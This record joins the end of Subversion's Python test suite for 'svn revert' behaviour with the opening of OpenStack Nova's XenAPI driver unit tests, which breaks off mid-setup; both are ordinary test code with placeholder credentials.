main.run_svn(None, 'mkdir', os.path.join(wc_dir, 'A/C')) # This failed in some WC-NG intermediate format (r927318-r958992). main.run_svn(None, 'revert', os.path.join(wc_dir, 'A/C')) svntest.actions.run_and_verify_status(wc_dir, expected_status) def revert_added_tree(sbox): "revert an added tree fails" sbox.build() wc_dir = sbox.wc_dir svntest.actions.run_and_verify_svn(None, None, [], 'mkdir', sbox.ospath('X'), sbox.ospath('X/Y')) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.add({ 'X' : Item(status='A ', wc_rev=0), 'X/Y' : Item(status='A ', wc_rev=0), }) svntest.actions.run_and_verify_status(wc_dir, expected_status) # Revert is non-recursive and fails, status is unchanged expected_error = '.*Try \'svn revert --depth infinity\'.*' svntest.actions.run_and_verify_svn(None, None, expected_error, 'revert', sbox.ospath('X')) svntest.actions.run_and_verify_status(wc_dir, expected_status) @Issue(3834) def revert_child_of_copy(sbox): "revert a child of a copied directory" sbox.build() wc_dir = sbox.wc_dir svntest.actions.run_and_verify_svn(None, None, [], 'cp', sbox.ospath('A/B/E'), sbox.ospath('A/B/E2')) svntest.main.file_append(sbox.ospath('A/B/E2/beta'), 'extra text\n') expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.add({ 'A/B/E2' : Item(status='A ', copied='+', wc_rev='-'), 'A/B/E2/alpha' : Item(status=' ', copied='+', wc_rev='-'), 'A/B/E2/beta' : Item(status='M ', copied='+', wc_rev='-'), }) svntest.actions.run_and_verify_status(wc_dir, expected_status) # First revert removes text change, child is still copied expected_output = ["Reverted '%s'\n" % sbox.ospath('A/B/E2/beta')] svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', sbox.ospath('A/B/E2/beta')) expected_status.tweak('A/B/E2/beta', status=' ') svntest.actions.run_and_verify_status(wc_dir, expected_status) # Second revert of child does nothing, child is still copied svntest.actions.run_and_verify_svn(None, None, [], 'revert', sbox.ospath('A/B/E2/beta')) svntest.actions.run_and_verify_status(wc_dir, expected_status) @Issue(3783) def revert_non_recusive_after_delete(sbox): "non-recursive revert after delete" sbox.build(read_only=True) wc_dir = sbox.wc_dir svntest.actions.run_and_verify_svn(None, None, [], 'rm', sbox.ospath('A/B')) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.tweak('A/B', 'A/B/E', 'A/B/E/alpha', 'A/B/E/beta', 'A/B/F', 'A/B/lambda', status='D ') svntest.actions.run_and_verify_status(wc_dir, expected_status) # This appears to work but gets the op-depth wrong expected_output = ["Reverted '%s'\n" % sbox.ospath('A/B')] svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', sbox.ospath('A/B')) expected_status.tweak('A/B', status=' ') svntest.actions.run_and_verify_status(wc_dir, expected_status) svntest.actions.run_and_verify_svn(None, None, [], 'mkdir', sbox.ospath('A/B/E')) expected_status.tweak('A/B/E', status='R ') svntest.actions.run_and_verify_status(wc_dir, expected_status) # Since the op-depth was wrong A/B/E erroneously remains deleted expected_output = ["Reverted '%s'\n" % sbox.ospath('A/B/E')] svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', sbox.ospath('A/B/E')) expected_status.tweak('A/B/E', status=' ') svntest.actions.run_and_verify_status(wc_dir, expected_status) def revert_permissions_only(sbox): "permission-only reverts" sbox.build() wc_dir = sbox.wc_dir # Helpers pinched/adapted from lock_tests.py. Put them somewhere common? def check_writability(path, writable): bits = stat.S_IWGRP | stat.S_IWOTH | stat.S_IWRITE mode = os.stat(path)[0] if bool(mode & bits) != writable: raise svntest.Failure("path '%s' is unexpectedly %s (mode %o)" % (path, ["writable", "read-only"][writable], mode)) def is_writable(path): "Raise if PATH is not writable." check_writability(path, True) def is_readonly(path): "Raise if PATH is not readonly." check_writability(path, False) def check_executability(path, executable): bits = stat.S_IXGRP | stat.S_IXOTH | stat.S_IEXEC mode = os.stat(path)[0] if bool(mode & bits) != executable: raise svntest.Failure("path '%s' is unexpectedly %s (mode %o)" % (path, ["executable", "non-executable"][executable], mode)) def is_executable(path): "Raise if PATH is not executable." check_executability(path, True) def is_non_executable(path): "Raise if PATH is executable." check_executability(path, False) os.chmod(sbox.ospath('A/B/E/alpha'), 0444) # read-only is_readonly(sbox.ospath('A/B/E/alpha')) expected_output = ["Reverted '%s'\n" % sbox.ospath('A/B/E/alpha')] svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', sbox.ospath('A/B/E/alpha')) is_writable(sbox.ospath('A/B/E/alpha')) if svntest.main.is_posix_os(): os.chmod(sbox.ospath('A/B/E/beta'), 0777) # executable is_executable(sbox.ospath('A/B/E/beta')) expected_output = ["Reverted '%s'\n" % sbox.ospath('A/B/E/beta')] svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', sbox.ospath('A/B/E/beta')) is_non_executable(sbox.ospath('A/B/E/beta')) svntest.actions.run_and_verify_svn(None, None, [], 'propset', 'svn:needs-lock', '1', sbox.ospath('A/B/E/alpha')) svntest.actions.run_and_verify_svn(None, None, [], 'propset', 'svn:executable', '1', sbox.ospath('A/B/E/beta')) expected_output = svntest.wc.State(wc_dir, { 'A/B/E/alpha': Item(verb='Sending'), 'A/B/E/beta': Item(verb='Sending'), }) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.tweak('A/B/E/alpha', wc_rev='2') expected_status.tweak('A/B/E/beta', wc_rev='2') svntest.actions.run_and_verify_commit(wc_dir, expected_output, expected_status, None, wc_dir) os.chmod(sbox.ospath('A/B/E/alpha'), 0666) # not read-only is_writable(sbox.ospath('A/B/E/alpha')) expected_output = ["Reverted '%s'\n" % sbox.ospath('A/B/E/alpha')] svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', sbox.ospath('A/B/E/alpha')) is_readonly(sbox.ospath('A/B/E/alpha')) if svntest.main.is_posix_os(): os.chmod(sbox.ospath('A/B/E/beta'), 0666) # not executable is_non_executable(sbox.ospath('A/B/E/beta')) expected_output = ["Reverted '%s'\n" % sbox.ospath('A/B/E/beta')] svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', sbox.ospath('A/B/E/beta')) is_executable(sbox.ospath('A/B/E/beta')) # copied file is always writeable sbox.simple_update() expected_output = ["A %s\n" % sbox.ospath('A/B/E2')] svntest.actions.run_and_verify_svn(None, expected_output, [], 'copy', sbox.ospath('A/B/E'), sbox.ospath('A/B/E2')) is_writable(sbox.ospath('A/B/E2/alpha')) svntest.actions.run_and_verify_svn(None, [], [], 'revert', sbox.ospath('A/B/E2/alpha')) is_writable(sbox.ospath('A/B/E2/alpha')) @XFail() @Issue(3851) def revert_copy_depth_files(sbox): "revert a copy with depth=files" sbox.build(read_only=True) wc_dir = sbox.wc_dir svntest.actions.run_and_verify_svn(None, None, [], 'copy', sbox.ospath('A/B/E'), sbox.ospath('A/B/E2')) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.add({ 'A/B/E2' : Item(status='A ', copied='+', wc_rev='-'), 'A/B/E2/alpha' : Item(status=' ', copied='+', wc_rev='-'), 'A/B/E2/beta' : Item(status=' ', copied='+', wc_rev='-'), }) svntest.actions.run_and_verify_status(wc_dir, expected_status) expected_output = svntest.verify.UnorderedOutput([ "Reverted '%s'\n" % sbox.ospath(path) for path in ['A/B/E2', 'A/B/E2/alpha', 'A/B/E2/beta']]) svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', '--depth', 'files', sbox.ospath('A/B/E2')) expected_status.remove('A/B/E2', 'A/B/E2/alpha', 'A/B/E2/beta') svntest.actions.run_and_verify_status(wc_dir, expected_status) @XFail() @Issue(3851) def revert_nested_add_depth_immediates(sbox): "revert a nested add with depth=immediates" sbox.build(read_only=True) wc_dir = sbox.wc_dir svntest.actions.run_and_verify_svn(None, None, [], 'mkdir', '--parents', sbox.ospath('A/X/Y')) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.add({ 'A/X' : Item(status='A ', wc_rev='0'), 'A/X/Y' : Item(status='A ', wc_rev='0'), }) svntest.actions.run_and_verify_status(wc_dir, expected_status) expected_output = svntest.verify.UnorderedOutput([ "Reverted '%s'\n" % sbox.ospath(path) for path in ['A/X', 'A/X/Y']]) svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', '--depth', 'immediates', sbox.ospath('A/X')) expected_status.remove('A/X', 'A/X/Y') svntest.actions.run_and_verify_status(wc_dir, expected_status) def create_superflous_actual_node(sbox): "create a superfluous actual node" sbox.build() wc_dir = sbox.wc_dir svntest.main.file_append(sbox.ospath('A/B/E/alpha'), 'their text\n') sbox.simple_commit() sbox.simple_update() # Create a NODES row with op-depth>0 svntest.actions.run_and_verify_svn(None, None, [], 'copy', '-r', '1', sbox.repo_url + '/A/B/E/alpha', sbox.ospath('alpha')) # Merge to create an ACTUAL with a conflict expected_status = svntest.actions.get_virginal_state(wc_dir, 2) expected_status.add({ 'alpha' : Item(status='A ', copied='+', wc_rev='-'), }) svntest.actions.run_and_verify_status(wc_dir, expected_status) svntest.main.file_append(sbox.ospath('alpha'), 'my text\n') svntest.actions.run_and_verify_svn(None, None, [], 'merge', '--accept', 'postpone', '^/A/B/E/alpha', sbox.ospath('alpha')) expected_status.tweak('alpha', status='CM', entry_status='A ') svntest.actions.run_and_verify_status(wc_dir, expected_status) # Clear merge property and remove conflict files sbox.simple_propdel('svn:mergeinfo', 'alpha') os.remove(sbox.ospath('alpha.merge-left.r1')) os.remove(sbox.ospath('alpha.merge-right.r2')) os.remove(sbox.ospath('alpha.working')) expected_status.tweak('alpha', status='A ') svntest.actions.run_and_verify_status(wc_dir, expected_status) @Issue(3859) def revert_empty_actual(sbox): "revert with superfluous actual node" create_superflous_actual_node(sbox) wc_dir = sbox.wc_dir # Non-recursive code path works svntest.actions.run_and_verify_svn(None, ["Reverted '%s'\n" % sbox.ospath('alpha')], [], 'revert', sbox.ospath('alpha')) expected_status = svntest.actions.get_virginal_state(wc_dir, 2) svntest.actions.run_and_verify_status(wc_dir, expected_status) @Issue(3859) def revert_empty_actual_recursive(sbox): "recusive revert with superfluous actual node" create_superflous_actual_node(sbox) wc_dir = sbox.wc_dir # Recursive code path fails, the superfluous actual node suppresses the # notification svntest.actions.run_and_verify_svn(None, ["Reverted '%s'\n" % sbox.ospath('alpha')], [], 'revert', '-R', sbox.ospath('alpha')) expected_status = svntest.actions.get_virginal_state(wc_dir, 2) svntest.actions.run_and_verify_status(wc_dir, expected_status) @Issue(3879) def revert_tree_conflicts_with_replacements(sbox): "revert tree conflicts with replacements" sbox.build() wc_dir = sbox.wc_dir wc = sbox.ospath # Use case 1: local replace, incoming replace # A/mu # A/D/H --> A/D/H/chi, A/D/H/{loc,inc}_psi # Use case 2: local edit, incoming replace # A/D/gamma # A/D/G --> A/D/G/pi, A/D/G/inc_rho # Use case 3: local replace, incoming edit # A/B/lambda # A/B/E --> A/B/E/alpha, A/B/E/loc_beta # Case 1: incoming replacements sbox.simple_rm('A/mu', 'A/D/H') file_write(wc('A/mu'), "A fresh file.\n") os.mkdir(wc('A/D/H')) file_write(wc('A/D/H/chi'), "A fresh file.\n") file_write(wc('A/D/H/inc_psi'), "A fresh file.\n") sbox.simple_add('A/mu', 'A/D/H') # Case 2: incoming replacements sbox.simple_rm('A/D/gamma', 'A/D/G') file_write(wc('A/D/gamma'), "A fresh file.\n") os.mkdir(wc('A/D/G')) file_write(wc('A/D/G/pi'), "A fresh file.\n") file_write(wc('A/D/G/inc_rho'), "A fresh file.\n") sbox.simple_add('A/D/gamma','A/D/G') # Case 3: incoming edits file_append(wc('A/B/lambda'), "Incoming!\n") file_write(wc('A/B/E/alpha'), "Incoming!.\n") # Commit and roll back to r1. sbox.simple_commit() run_svn(None, 'up', wc_dir, '-r1', '-q') # Case 1: local replacements sbox.simple_rm('A/mu', 'A/D/H') file_write(wc('A/mu'), "A fresh file.\n") os.mkdir(wc('A/D/H')) file_write(wc('A/D/H/chi'), "A fresh local file.\n") file_write(wc('A/D/H/loc_psi'), "A fresh local file.\n") sbox.simple_add('A/mu', 'A/D/H') # Case 2: local edits file_append(wc('A/D/gamma'), "Local change.\n") file_append(wc('A/D/G/pi'), "Local change.\n") # Case 3: local replacements sbox.simple_rm('A/B/lambda', 'A/B/E') file_write(wc('A/B/lambda'), "A fresh local file.\n") os.mkdir(wc('A/B/E')) file_write(wc('A/B/E/alpha'), "A fresh local file.\n") file_write(wc('A/B/E/loc_beta'), "A fresh local file.\n") sbox.simple_add('A/B/lambda', 'A/B/E') # Update and check tree conflict status. run_svn(None, 'up', wc_dir) expected_status = svntest.wc.State(wc_dir, { '' : Item(status=' ', wc_rev=2), 'A' : Item(status=' ', wc_rev=2), 'A/B' : Item(status=' ', wc_rev=2), 'A/B/E' : Item(status='R ', wc_rev=2, treeconflict='C'), 'A/B/E/alpha' : Item(status='A ', wc_rev='-'), 'A/B/E/beta' : Item(status='D ', wc_rev=2), 'A/B/E/loc_beta' : Item(status='A ', wc_rev='-'), 'A/B/F' : Item(status=' ', wc_rev=2), 'A/B/lambda' : Item(status='R ', wc_rev=2, treeconflict='C'), 'A/C' : Item(status=' ', wc_rev=2), 'A/D' : Item(status=' ', wc_rev=2), 'A/D/G' : Item(status='R ', wc_rev='-', copied='+', treeconflict='C'), 'A/D/G/inc_rho' : Item(status='D ', wc_rev=2), 'A/D/G/pi' : Item(status='M ', wc_rev='-', copied='+'), 'A/D/G/rho' : Item(status=' ', wc_rev='-', copied='+'), 'A/D/G/tau' : Item(status=' ', wc_rev='-', copied='+'), 'A/D/H' : Item(status='R ', wc_rev=2, treeconflict='C'), 'A/D/H/chi' : Item(status='A ', wc_rev='-'), 'A/D/H/inc_psi' : Item(status='D ', wc_rev=2), 'A/D/H/loc_psi' : Item(status='A ', wc_rev='-'), 'A/D/gamma' : Item(status='R ', wc_rev='-', copied='+', treeconflict='C'), 'A/mu' : Item(status='R ', wc_rev=2, treeconflict='C'), 'iota' : Item(status=' ', wc_rev=2), }) svntest.actions.run_and_verify_unquiet_status(wc_dir, expected_status) def cd_and_status_u(dir_target): was_cwd = os.getcwd() os.chdir(os.path.abspath(wc(dir_target))) run_svn(None, 'status', '-u') os.chdir(was_cwd) cd_and_status_u('A') cd_and_status_u('A/D') # Until r1102143, the following 'status -u' commands failed with "svn: # E165004: Two top-level reports with no target". cd_and_status_u('A/D/G') cd_and_status_u('A/D/H') # Revert everything (i.e., accept "theirs-full"). svntest.actions.run_and_verify_revert([ wc('A/B/E'), wc('A/B/E/alpha'), # incoming & local wc('A/B/E/beta'), wc('A/B/E/loc_beta'), wc('A/B/lambda'), wc('A/D/G'), wc('A/D/G/pi'), wc('A/D/G/inc_rho'), # incoming wc('A/D/G/rho'), wc('A/D/G/tau'), wc('A/D/H'), wc('A/D/H/chi'), wc('A/D/H/inc_psi'), # incoming wc('A/D/H/loc_psi'), wc('A/D/gamma'), wc('A/mu'), ], '-R', wc_dir) # Remove a few unversioned files that revert left behind. os.remove(wc('A/B/E/loc_beta')) os.remove(wc('A/D/H/loc_psi')) # The update operation should have put all incoming items in place. expected_status = svntest.wc.State(wc_dir, { '' : Item(status=' ', wc_rev=2), 'A' : Item(status=' ', wc_rev=2), 'A/B' : Item(status=' ', wc_rev=2), 'A/B/E' : Item(status=' ', wc_rev=2), 'A/B/E/alpha' : Item(status=' ', wc_rev=2), 'A/B/E/beta' : Item(status=' ', wc_rev=2), 'A/B/F' : Item(status=' ', wc_rev=2), 'A/B/lambda' : Item(status=' ', wc_rev=2), 'A/C' : Item(status=' ', wc_rev=2), 'A/D' : Item(status=' ', wc_rev=2), 'A/D/G' : Item(status=' ', wc_rev=2), 'A/D/G/inc_rho' : Item(status=' ', wc_rev=2), 'A/D/G/pi' : Item(status=' ', wc_rev=2), 'A/D/H' : Item(status=' ', wc_rev=2), 'A/D/H/chi' : Item(status=' ', wc_rev=2), 'A/D/H/inc_psi' : Item(status=' ', wc_rev=2), 'A/D/gamma' : Item(status=' ', wc_rev=2), 'A/mu' : Item(status=' ', wc_rev=2), 'iota' : Item(status=' ', wc_rev=2), }) svntest.actions.run_and_verify_unquiet_status(wc_dir, expected_status) def create_no_text_change_conflict(sbox): "create conflict with no text change" sbox.build() wc_dir = sbox.wc_dir shutil.copyfile(sbox.ospath('A/B/E/alpha'), sbox.ospath('A/B/E/alpha-copy')) svntest.main.file_append(sbox.ospath('A/B/E/alpha'), 'their text\n') sbox.simple_commit() sbox.simple_update() # Update to create a conflict svntest.main.file_append(sbox.ospath('A/B/E/alpha'), 'my text\n') svntest.actions.run_and_verify_svn(None, None, [], 'up', '-r1', '--accept', 'postpone', wc_dir) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.tweak('A/B/E/alpha', status='C ') svntest.actions.run_and_verify_status(wc_dir, expected_status) # Reset the text with the file still marked as a conflict os.remove(sbox.ospath('A/B/E/alpha')) shutil.move(sbox.ospath('A/B/E/alpha-copy'), sbox.ospath('A/B/E/alpha')) @Issue(3859) def revert_no_text_change_conflict(sbox): "revert conflict with no text change" create_no_text_change_conflict(sbox) wc_dir = sbox.wc_dir svntest.actions.run_and_verify_svn(None, ["Reverted '%s'\n" % sbox.ospath('A/B/E/alpha')], [], 'revert', sbox.ospath('A/B/E/alpha')) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) svntest.actions.run_and_verify_status(wc_dir, expected_status) @Issue(3859) def revert_no_text_change_conflict_recursive(sbox): "revert -R conflict with no text change" create_no_text_change_conflict(sbox) wc_dir = sbox.wc_dir svntest.actions.run_and_verify_svn(None, ["Reverted '%s'\n" % sbox.ospath('A/B/E/alpha')], [], 'revert', '-R', wc_dir) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) svntest.actions.run_and_verify_status(wc_dir, expected_status) @Issue(3938) def revert_with_unversioned_targets(sbox): "revert with unversioned targets" sbox.build() wc_dir = sbox.wc_dir chi_path = sbox.ospath('A/D/H/chi') delta_path = sbox.ospath('A/D/H/delta') psi_path = sbox.ospath('A/D/H/psi') chi_contents = "modified chi\n" delta_contents = "This is the unversioned file 'delta'.\n" psi_contents = "modified psi\n" # touch delta open(delta_path, 'w').write(delta_contents) # modify chi psi open(chi_path, 'w').write(chi_contents) open(psi_path, 'w').write(psi_contents) # revert expected_output = svntest.verify.UnorderedOutput([ "Reverted '%s'\n" % sbox.ospath('A/D/H/chi'), "Skipped '%s'\n" % sbox.ospath('A/D/H/delta'), "Reverted '%s'\n" % sbox.ospath('A/D/H/psi'), ]) svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', chi_path, delta_path, psi_path) # verify status expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.add({ 'A/D/H/delta': Item(status='? '), }) svntest.actions.run_and_verify_unquiet_status(wc_dir, expected_status) # verify disk expected_disk = svntest.main.greek_state.copy() expected_disk.add({ 'A/D/H/delta': Item(delta_contents), }) svntest.actions.verify_disk(wc_dir, expected_disk.old_tree(), True) def revert_nonexistent(sbox): 'svn revert -R nonexistent' sbox.build(read_only=True) svntest.actions.run_and_verify_svn(None, 'Skipped.*nonexistent', [], 'revert', '-R', sbox.ospath('nonexistent')) @Issue(4168) def revert_obstructing_wc(sbox): "revert with an obstructing working copy" sbox.build(create_wc=False, read_only=True) wc_dir = sbox.wc_dir expected_output = svntest.wc.State(wc_dir, {}) expected_disk = svntest.wc.State(wc_dir, {}) # Checkout wc as depth empty svntest.actions.run_and_verify_checkout(sbox.repo_url, wc_dir, expected_output, expected_disk, None, None, None, None, '--depth', 'empty') # And create an obstructing working copy as A svntest.actions.run_and_verify_checkout(sbox.repo_url, wc_dir + '/A', expected_output, expected_disk, None, None, None, None, '--depth', 'empty') # Now try to fetch the entire wc, which will find an obstruction expected_output = svntest.wc.State(wc_dir, { 'A' : Item(verb='Skipped'), 'iota' : Item(status='A '), }) expected_status = svntest.wc.State(wc_dir, { '' : Item(status=' ', wc_rev='1'), 'iota' : Item(status=' ', wc_rev='1'), # A is not versioned but exists }) # Use expected_status.old_tree() to avoid doing an entries comparion svntest.actions.run_and_verify_update(wc_dir, expected_output, None, expected_status.old_tree(), None, None, None, None, None, None, wc_dir, '--set-depth', 'infinity') # Revert should do nothing (no local changes), and report the obstruction # (reporting the obstruction is nice for debuging, but not really required # in this specific case, as the node was not modified) svntest.actions.run_and_verify_svn(None, "Skipped '.*A' -- .*obstruct.*", [], 'revert', '-R', wc_dir) ######################################################################## # Run the tests # list all tests here, starting with None: test_list = [ None, revert_from_wc_root, revert_reexpand_keyword, revert_replaced_file_without_props, revert_moved_file, revert_wc_to_wc_replace_with_props, revert_file_merge_replace_with_history, revert_repos_to_wc_replace_with_props, revert_after_second_replace, revert_after_manual_conflict_resolution__text, revert_after_manual_conflict_resolution__prop, revert_propset__dir, revert_propset__file, revert_propdel__dir, revert_propdel__file, revert_replaced_with_history_file_1, status_of_missing_dir_after_revert, status_of_missing_dir_after_revert_replaced_with_history_dir, revert_replaced_with_history_file_2, revert_tree_conflicts_in_updated_files, revert_add_over_not_present_dir, revert_added_tree, revert_child_of_copy, revert_non_recusive_after_delete, revert_permissions_only, revert_copy_depth_files, revert_nested_add_depth_immediates, revert_empty_actual, revert_tree_conflicts_with_replacements, revert_empty_actual_recursive, revert_no_text_change_conflict, revert_no_text_change_conflict_recursive, revert_with_unversioned_targets, revert_nonexistent, revert_obstructing_wc, ] if __name__ == '__main__': svntest.main.run_tests(test_list) # NOTREACHED ### End of file.
codeparrot/github-code-clean
# Copyright (c) 2010 Citrix Systems, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """Test suite for XenAPI.""" import ast import base64 import contextlib import copy import functools import os import re import uuid import mock from mox3 import mox from oslo_concurrency import lockutils from oslo_config import fixture as config_fixture from oslo_log import log as logging from oslo_serialization import jsonutils from oslo_utils import importutils import six import testtools from nova.compute import api as compute_api from nova.compute import arch from nova.compute import hv_type from nova.compute import power_state from nova.compute import task_states from nova.compute import utils as compute_utils from nova.compute import vm_states import nova.conf from nova import context from nova import crypto from nova import db from nova import exception from nova import objects from nova.objects import base from nova import test from nova.tests.unit.api.openstack import fakes from nova.tests.unit.db import fakes as db_fakes from nova.tests.unit import fake_flavor from nova.tests.unit import fake_instance from nova.tests.unit import fake_network from nova.tests.unit import fake_processutils import nova.tests.unit.image.fake as fake_image from nova.tests.unit import matchers from nova.tests.unit.objects import test_aggregate from nova.tests.unit import utils as test_utils from nova.tests.unit.virt.xenapi import stubs from nova.tests import uuidsentinel as uuids from nova.virt import fake from nova.virt.xenapi import agent from nova.virt.xenapi.client import session as xenapi_session from nova.virt.xenapi import driver as xenapi_conn from nova.virt.xenapi import fake as xenapi_fake from nova.virt.xenapi import host from nova.virt.xenapi.image import glance from nova.virt.xenapi import pool from nova.virt.xenapi import pool_states from nova.virt.xenapi import vm_utils from nova.virt.xenapi import vmops from nova.virt.xenapi import volume_utils LOG = logging.getLogger(__name__) CONF = nova.conf.CONF IMAGE_MACHINE = uuids.image_ref IMAGE_KERNEL = uuids.image_kernel_id IMAGE_RAMDISK = uuids.image_ramdisk_id IMAGE_RAW = uuids.image_raw IMAGE_VHD = uuids.image_vhd IMAGE_ISO = uuids.image_iso IMAGE_IPXE_ISO = uuids.image_ipxe_iso IMAGE_FROM_VOLUME = uuids.image_from_volume IMAGE_FIXTURES = { IMAGE_MACHINE: { 'image_meta': {'name': 'fakemachine', 'size': 0, 'disk_format': 'ami', 'container_format': 'ami', 'id': 'fake-image'}, }, IMAGE_KERNEL: { 'image_meta': {'name': 'fakekernel', 'size': 0, 'disk_format': 'aki', 'container_format': 'aki', 'id': 'fake-kernel'}, }, IMAGE_RAMDISK: { 'image_meta': {'name': 'fakeramdisk', 'size': 0, 'disk_format': 'ari', 'container_format': 'ari', 'id': 'fake-ramdisk'}, }, IMAGE_RAW: { 'image_meta': {'name': 'fakeraw', 'size': 0, 'disk_format': 'raw', 'container_format': 'bare', 'id': 'fake-image-raw'}, }, IMAGE_VHD: { 'image_meta': {'name': 'fakevhd', 'size': 0, 'disk_format': 'vhd', 'container_format': 'ovf', 'id': 'fake-image-vhd'}, }, IMAGE_ISO: { 'image_meta': {'name': 'fakeiso', 'size': 0, 'disk_format': 'iso', 'container_format': 'bare', 'id': 'fake-image-iso'}, }, IMAGE_IPXE_ISO: { 'image_meta': {'name': 'fake_ipxe_iso', 'size': 0, 'disk_format': 'iso', 'container_format': 'bare', 'id': 'fake-image-pxe', 'properties': {'ipxe_boot': 'true'}}, }, IMAGE_FROM_VOLUME: { 'image_meta': {'name': 'fake_ipxe_iso', 'id': 'fake-image-volume', 'properties': {'foo': 'bar'}}, }, } def get_session(): return xenapi_session.XenAPISession('test_url', 'root', 'test_pass') def set_image_fixtures(): image_service = fake_image.FakeImageService() image_service.images.clear() for image_id, image_meta in IMAGE_FIXTURES.items(): image_meta = image_meta['image_meta'] image_meta['id'] = image_id image_service.create(None, image_meta) def get_fake_device_info(): # FIXME: 'sr_uuid', 'introduce_sr_keys', sr_type and vdi_uuid # can be removed from the dict when LP bug #1087308 is fixed fake_vdi_ref = xenapi_fake.create_vdi('fake-vdi', None) fake_vdi_uuid = xenapi_fake.get_record('VDI', fake_vdi_ref)['uuid'] fake = {'block_device_mapping': [{'connection_info': {'driver_volume_type': 'iscsi', 'data': {'sr_uuid': 'falseSR', 'introduce_sr_keys': ['sr_type'], 'sr_type': 'iscsi', 'vdi_uuid': fake_vdi_uuid, 'target_discovered': False, 'target_iqn': 'foo_iqn:foo_volid', 'target_portal': 'localhost:3260', 'volume_id': 'foo_volid', 'target_lun': 1, 'auth_password': 'my-p@55w0rd', 'auth_username': 'johndoe', 'auth_method': u'CHAP'}, }, 'mount_device': 'vda', 'delete_on_termination': False}, ], 'root_device_name': '/dev/sda', 'ephemerals': [], 'swap': None, } return fake def stub_vm_utils_with_vdi_attached(function): """vm_utils.with_vdi_attached needs to be stubbed out because it calls down to the filesystem to attach a vdi. This provides a decorator to handle that. """ @functools.wraps(function) def decorated_function(self, *args, **kwargs): @contextlib.contextmanager def fake_vdi_attached(*args, **kwargs): fake_dev = 'fakedev' yield fake_dev def fake_image_download(*args, **kwargs): pass orig_vdi_attached = vm_utils.vdi_attached orig_image_download = fake_image._FakeImageService.download try: vm_utils.vdi_attached = fake_vdi_attached fake_image._FakeImageService.download = fake_image_download return function(self, *args, **kwargs) finally: fake_image._FakeImageService.download = orig_image_download vm_utils.vdi_attached = orig_vdi_attached return decorated_function def create_instance_with_system_metadata(context, instance_values): inst = objects.Instance(context=context, system_metadata={}) for k, v in instance_values.items(): setattr(inst, k, v) inst.flavor = objects.Flavor.get_by_id(context, instance_values['instance_type_id']) inst.old_flavor = None inst.new_flavor = None inst.create() inst.pci_devices = objects.PciDeviceList(objects=[]) return inst class XenAPIVolumeTestCase(stubs.XenAPITestBaseNoDB): """Unit tests for Volume operations.""" def setUp(self): super(XenAPIVolumeTestCase, self).setUp() self.fixture = self.useFixture(config_fixture.Config(lockutils.CONF)) self.fixture.config(disable_process_locking=True, group='oslo_concurrency') self.flags(firewall_driver='nova.virt.xenapi.firewall.' 'Dom0IptablesFirewallDriver') self.flags(connection_url='test_url', connection_password='test_pass', group='xenserver') self.instance = fake_instance.fake_db_instance(name='foo') @classmethod def _make_connection_info(cls): target_iqn = 'iqn.2010-10.org.openstack:volume-00000001' return {'driver_volume_type': 'iscsi', 'data': {'volume_id': 1, 'target_iqn': target_iqn, 'target_portal': '127.0.0.1:3260,fake', 'target_lun': None, 'auth_method': 'CHAP', 'auth_username': 'username', 'auth_password': 'password'}} def test_attach_volume(self): # This shows how to test Ops classes' methods. stubs.stubout_session(self.stubs, stubs.FakeSessionForVolumeTests) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) vm = xenapi_fake.create_vm(self.instance['name'], 'Running') conn_info = self._make_connection_info() self.assertIsNone( conn.attach_volume(None, conn_info, self.instance, '/dev/sdc')) # check that the VM has a VBD attached to it # Get XenAPI record for VBD vbds = xenapi_fake.get_all('VBD') vbd = xenapi_fake.get_record('VBD', vbds[0]) vm_ref = vbd['VM'] self.assertEqual(vm_ref, vm) def test_attach_volume_raise_exception(self): # This shows how to test when exceptions are raised. stubs.stubout_session(self.stubs, stubs.FakeSessionForVolumeFailedTests) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) xenapi_fake.create_vm(self.instance['name'], 'Running') self.assertRaises(exception.VolumeDriverNotFound, conn.attach_volume, None, {'driver_volume_type': 'nonexist'}, self.instance, '/dev/sdc') # FIXME(sirp): convert this to use XenAPITestBaseNoDB class XenAPIVMTestCase(stubs.XenAPITestBase): """Unit tests for VM operations.""" def setUp(self): super(XenAPIVMTestCase, self).setUp() self.useFixture(test.SampleNetworks()) self.network = importutils.import_object(CONF.network_manager) self.fixture = self.useFixture(config_fixture.Config(lockutils.CONF)) self.fixture.config(disable_process_locking=True, group='oslo_concurrency') self.flags(instance_name_template='%d', firewall_driver='nova.virt.xenapi.firewall.' 'Dom0IptablesFirewallDriver') self.flags(connection_url='test_url', connection_password='test_pass', group='xenserver') db_fakes.stub_out_db_instance_api(self) xenapi_fake.create_network('fake', 'fake_br1') stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) stubs.stubout_get_this_vm_uuid(self.stubs) stubs.stub_out_vm_methods(self.stubs) fake_processutils.stub_out_processutils_execute(self.stubs) self.user_id = 'fake' self.project_id = fakes.FAKE_PROJECT_ID self.context = context.RequestContext(self.user_id, self.project_id) self.conn = 